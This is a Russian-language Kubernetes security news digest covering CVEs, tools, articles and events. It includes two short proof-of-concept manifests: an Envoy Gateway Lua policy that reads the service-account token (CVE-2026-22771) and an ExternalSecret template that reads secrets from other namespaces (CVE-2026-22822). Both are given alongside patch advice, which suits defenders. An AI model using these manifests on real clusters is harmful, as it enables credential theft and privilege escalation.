Если вы уже успели переехать с ingress-nginx и используете Gateway, а точнее реализацию от Envoy, стоит обратить внимание на свежую уязвимость в Envoy Gateway – CVE-2026-22771.

Проблема связана с Lua-расширениями: при определённых условиях можно выполнить код внутри прокси и получить доступ к его внутренним данным. В худшем сценарии утекут сертификаты, токены и другие секреты, что открывает путь к управлению трафиком и инфраструктурой.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end

Уязвимость затрагивает версии до 1.5.7 и 1.6.2 и уже исправлена в обновлениях. Если Envoy Gateway используется в проде, обновляться лучше как можно скорее, а пока — ограничить доступ к созданию политик с Lua через RBAC.

Недавно нам на глаза попался инструмент вот с таким совсем не заурядным описанием)

Проект называется sentrilite и доступен на GitHub!

Давненько не встречались проекты, которые так жестко собирали в своем описание все хайповые слова, технологии и направления)))

Не хотим вас лишать удовольствия от изучения репозитария данного проекта, можно найти много несостыковок, приколов и т.д.

Статья Unpatchable Vulnerabilities of Kubernetes: CVE-2020-8554 подробно разбирает CVE-2020-8554 — архитектурную уязвимость Kubernetes, которая встречается во всех кластерах и не закрывается обычными патчами. Авторы объясняют, как она работает «под капотом», показывают примеры использования ExternalIP и того, как kube-proxy создаёт правила, из-за которых можно перехватить трафик.

В статье пошагово описано, как злоумышленник с правами на создание Service может направить трафик, предназначенный для внешнего IP, в свой под, и какие технические детали iptables-правил стоят за этим поведением.

Кроме того, авторы обсуждают варианты смягчения — например, блокировку ExternalIP через admission контроллеры, использование других CNI решений вроде Cilium и оценку риска в зависимости от модели угроз.

Мы уже достаточно давно на наших вебинарах, выступлениях, тренингах говорим о том, что Nodes кластера это не место для людишек пользователей. Ведь это сразу множество проблем от configuration drift до целой модели нарушителя "атакующий на Node".

Всеми силами старайтесь, чтобы люди не появлялись на Nodes или имели туда доступ в редких, регламентных случаях под пристальным контролем.

Кто-то уже решает это с помощью специализированных хостовых ОС для контейнерных сред, типа Talos.

А кто-то как RedHat разработали для своего OpenShift специальный оператор - machine-config-operator, который с помощью специальных custom resources позволяет выполнять операции на Nodes декларативно и без присутствия человека в системе. Его код открыт и доступен, но можно сказать гвоздями прибит к стеку RedHat ...

И вот наш хороший товарищ Дмитрий Путилин зарелизил проект In-Cloud Machine Config Operator (MCO), который решает данную проблему! В данном проекте можно выделить:
• Декларативное управление конфигурацией узлов через Kubernetes API
• Базовые концепции: MachineConfig, MachinePool и рендеринг состояний
• Безопасное обновление файлов на старте (sysctl, systemd unit — в следующей версии)
• Предсказуемые перезагрузки узлов и контроль конфигурационного дрейфа

Полезная информация:
- Документация
- Демо стенд
- Исходники на GitHub

K8s-ESP-Reference-Implementation — это reference-реализация Kubernetes ориентированного движка для непрерывного compliance-мониторинга на основе ESP политик. Система исполняет политики внутри кластера и формирует криптографически проверяемые аттестации состояния среды.

Архитектура построена по pull модели: агенты периодически получают политики, выполняют проверки и возвращают структурированные, CUI-free результаты. Это позволяет реализовать непрерывный контроль без зависимости от внешних сканеров и тяжёлых runtime движков.

Проект позиционируется как замена традиционных OSCAP подходов с XML-профилями и ориентирован на Сloud Native и DevSecOps пайплайны. Поддерживается маппинг на фреймворки CIS, NIST и интеграция с SIEM и serverless платформами.

22 января в 11.00 проведем вебинар "Платформа контейнеризации под защитой: объединяя знания Deckhouse и Luntry" совместно с командой платформы Deckhouse.

Там рассмотрим:
- На что стоит обращать внимание при выборе платформы в вопросах безопасности;
- На что стоит обращать внимание при выборе наложенного средства безопасности для Kubernetes;

Как всегда, можно будет задавать вопросы и получить практические советы по обеспечению безопасности контейнерных сред.

Зарегистрироваться можно тут.

Dockadvisor - быстрый, легковесный линтер Dockerfile написанный на Go, который (очевидно) помогает найти различные общие проблемы и анти-паттерны.

В его составе порядка 60 правил. Каких-то уникальных правил найдено не было - все достаточно стандартно для подобных инструментов (Dockle*, Hadolint, KICS, Checkov, Semgrep).

Из приятного есть наличие красивого web-интерфейса с подсветкой и при этом можно использовать как и чисто go библиотеку.

Обнаружена уязвимость CVE-2026-22822 в External Secrets Operator, связанная с функцией шаблонизации getSecretKey. Она позволяет при создании ресурса ExternalSecret читать Kubernetes секреты из других namespace, минуя ожидаемые ограничения доступа.

Достаточно создать ExternalSecret с шаблоном, в котором явно указан чужой namespace, и оператор подставит значение секрета:

apiVersion: external-secrets.io/v1
kind: ExternalSecret
metadata:
  name: test
spec:
  # THIS IS NOT USED AT ALL, CAN BE ANY STORE YOU HAVE
  secretStoreRef:
    name: a-secret-store
    kind: SecretStore
  target:
    template:
      data:
        password: '{{ getSecretKey "a-secret-name" "another-namespace" "a-key" }}'
  # THIS IS NOT USED TOO; it's just a requirement for the validating webhook
  dataFrom:
    - extract:
        key: something

Проблема устранена в новых версиях оператора, где функция getSecretKey удалена.

Некоторое время назад мы уже писали про файл .kuberc, который позволяет персонализировать kubectl.

А сейчас на официальном блоге Kubernetes вышла заметка "Kubernetes v1.35: Restricting executables invoked by kubeconfigs via exec plugin allowList added to kuberc", где этому файлу уже приделывают security функциональность.

По сути это защита от того, что пользователю подсунули специально подготовленный kubeconfig файл и он не глядя его запускает, и тот в свою очередь запускает указанные в нем исполняемые файлы.

И сейчас можно или разрешить все, или запретить все, или задать белый список.

Kubernetes объявил о создании новой рабочей группы Checkpoint/Restore WG, которая будет заниматься стандартизацией и развитием механизма checkpoint/restore в Kubernetes. Цель — встроить работу с сохранением и восстановлением состояния приложений в Kubernetes на системном уровне, опираясь на опыт и инструменты CRIU.

Ключевые сценарии — ускорение старта тяжёлых приложений, пауза и возобновление длительных вычислений (ML, batch-задачи), а также более эффективное использование ресурсов кластера.

Рабочая группа открыта для сообщества: запланированы регулярные встречи, обсуждения архитектуры и API, а также координация с другими SIG.

Сегодня в центре внимания статья "Kubernetes Remote Code Execution Via Nodes/Proxy GET Permission".

Из названии статьи уже понятно, что исследователь показывает как получить RCE с помощью права на чтения GET (без CREATE).

По сути это аналогичная ситуация как и с pods/exec (о которой мы писали ранее). И при этом ситуации с pods/exec уже починили (правда спустя время), а тут разработчики отказались и сказали что все штатно ... (но может также еще передумают).

Из дополнительных ресурсов:
- Скрипт для анализа кластера на наличие таких прав у SA
- Лаба для изучения данной ситуации

С гордостью можем сказать, что наша образовательная инициатива живет и развивается.

Речь, конечно, тут про кураторство и помощь в научно-исследовательской деятельности в области безопасности контейнеризации и Kubernetes.

И если вы только что узнали об этом и хотели бы поучаствовать, то можете смело заполнять анкету на сайте и мы с вами свяжемся (места еще позволяют).

Продолжаем эту неделю с двух серьезных уязвимостей в Kyverno.

1) CVE-2026-23881: Kyverno Denial of Service via Context Variable Amplification in Policy Engine.

Используя комбинацию из функций random() и join() в jmesPath, злоумышленник с возможностью создавать политики Kyverno может устроить DoS для admission controller. Если failurePolicy установлен в Ignore, это открывает возможность злоумышленнику деплоить нагрузки в обход политик.

2) CVE-2026-22039: Kyverno Cross-Namespace Privilege Escalation via Policy apiCall.

В Kyverno есть функционал, позволяющий обращаться в политике к Kubernetes API – apiCall. Эти обращения выполняются от имени высокопривелигрованного Service Account Kyverno, что позволяет читать содержимое Secrets и Configmaps из других неймспейсов. Злоумышленник, обладая правами на создание политик в рамках выделенного неймспейса может прочитать секреты из других неймспейсов и повысить свои привилегии.

Уязвимости присвоена оценка 10/10 по CVSS.

P.S – исправления доступны в версиях 1.15.3 и 1.16.3.

P.P.S – эксплойты для этих уязвимостей содержатся в описании к GHSA.

gomodjail - это песочница для Go модулей. Она ограничивает syscall, используя seccomp и symbol tables. Это похоже на контейнер для модулей, но с более точной гранулярностью чем у docker контейнеров. Тоесть тут ограничения применяется не ко всему процессу приложения, а к конкретной библиотеке, что в нем используется. Подробнее можно почитать из статьи "gomodjail: library sandboxing for Go modules".

Это хороший митигейшен для supply chain атак ... в условия множества сторонних недоверенных библиотек.

Данный проект можно хорошо сочетать с проектом Capslock о котором мы писали раньше и представляет из себя инструмент capability analysis для Go приложений.

Wiz представила SITF (SDLC Infrastructure Threat Framework) — первую в мире открытую модель угроз, специально ориентированную на защиту инфраструктуры жизненного цикла разработки программного обеспечения. Эта инфраструктура (IDE, VCS, CI/CD, Registry) становится привлекательной целью для атак не только на код, но и на сами процессы сборки и доставки ПО.

SITF предлагает визуализатор потоков атак, библиотеку из более чем 70 техник атак с привязкой к рискам и средствам защиты, а также причинно-следственное сопоставление. Это позволяет командам не просто фиксировать инциденты, а понимать и разрывать цепочки атак на ранних стадиях.

Контейнеры, их спецификации и форматы уже давно вышли за рамки просто запуска контейнерных приложений. И сегодняшний проект очередное этому подтверждение.

bootc - это инструмент для транзакционного обновления ОС через OCI/Docker-образы. Он позволяет использовать контейнеры как формат доставки загрузочного ядра и базовой системы. Проект написан на Rust, входит в состав CNCF и поддерживает стабильный CLI для разных дистрибутивов.

По использованию можно посмотреть тут.

Ingress-nginx доживает свои последние дни, но это не мешает появляться новым уязвимостям – CVE-2026-1580, CVE-2026-24512, CVE-2026-24513, CVE-2026-24514.

Две уязвимости уже ставшие классическими для этого решения – configuration injection с последующим RCE внутри контейнера с ingress-nginx. Еще одна уязвимость также – configuration injection с последующим обходом auth-url protection. И DoS Admission Controller.

Все четыре уязвимости оценены как High и имеют оценку 8.8 по CVSS.

Конечно, вы можете обновиться на версию v1.13.7 или v1.14.3, но мы крайне рекомендуем переезжать на API Gateway.

K8sQuest — это локальный симулятор для обучения Kubernetes через практику. Игроки решают 50 задач по отладке (Pods, Networking, RBAC) на кластерах kind или k3d. Платформа бесплатна, не требует облаков и включает систему опыта (XP), подсказки и разборы реальных инцидентов.

В пятом и последнем разделе есть немного задачек по безопасности, связанные с:
- RBAC (ServiceAccounts, Roles, RoleBindings)
- SecurityContext, Pod Security Standards (restricted)
- ResourceQuotas, NetworkPolicies, node scheduling
- Taints/Tolerations, PodDisruptionBudgets, PriorityClass

kubectl-rexec — это небольшой плагин для kubectl, который позволяет повторно подключаться (re-exec) к уже запущенному контейнеру в Kubernetes. Он решает ту проблему, когда kubectl exec рвётся из-за сетевых проблем или таймаутов.

Плагин сохраняет контекст сессии и даёт возможность продолжить работу без повторного запуска команды. Это особенно полезно для долгих отладочных сессий, миграций или ручных операций в продакшене.

Эту рабочую неделю мы хотим закончить разбором интересной статьи под названием "We Reverse-Engineered Docker Sandbox's Undocumented MicroVM API".

Возможно вы не знали, но Docker решил делать не только контейнеры, но и MicroVM (облегченные виртуальные машины с собственным ядром). проект называется Docker Sandboxes.

Технологий закрытая и исследователи ее разреверсили и добились того, что кроме заранее определённых AI-агентов там можно теперь запускать свое любое! Изначально создатели Docker Sandboxes целиться только в запуск там: Claude, Codex, Gemini, Copilot, Kiro и Cagent. Но теперь можно что угодно ;)

Ранее мы уже писали о подобном, но только от Google под названием Agent Sandbox.

Но есть серьезная разница в том, что проект от Google работает на Linux, то эта реализация только на Docker Desktop 4.58+ на macOS и Windows. Linux не поддерживается, так как реализация опирается на платформенные фреймворки виртуализации: Apple Virtualization.framework на macOS и Hyper-V на Windows. Для работы функции требуется поддержка вложенной виртуализации (nested virtualization).

dock-fire — это экспериментальный runtime-плагин для Docker, который запускает контейнеры внутри microVM на базе Firecracker. По сути он даёт уровень изоляции как у виртуальной машины, но сохраняет привычный workflow через docker run.

Каждый контейнер стартует в отдельной легковесной VM с собственным ядром, что повышает безопасность по сравнению с классическими namespace и cgroup изоляциями. Проект ориентирован на запуск временных workload’ов, тестирование и эксперименты.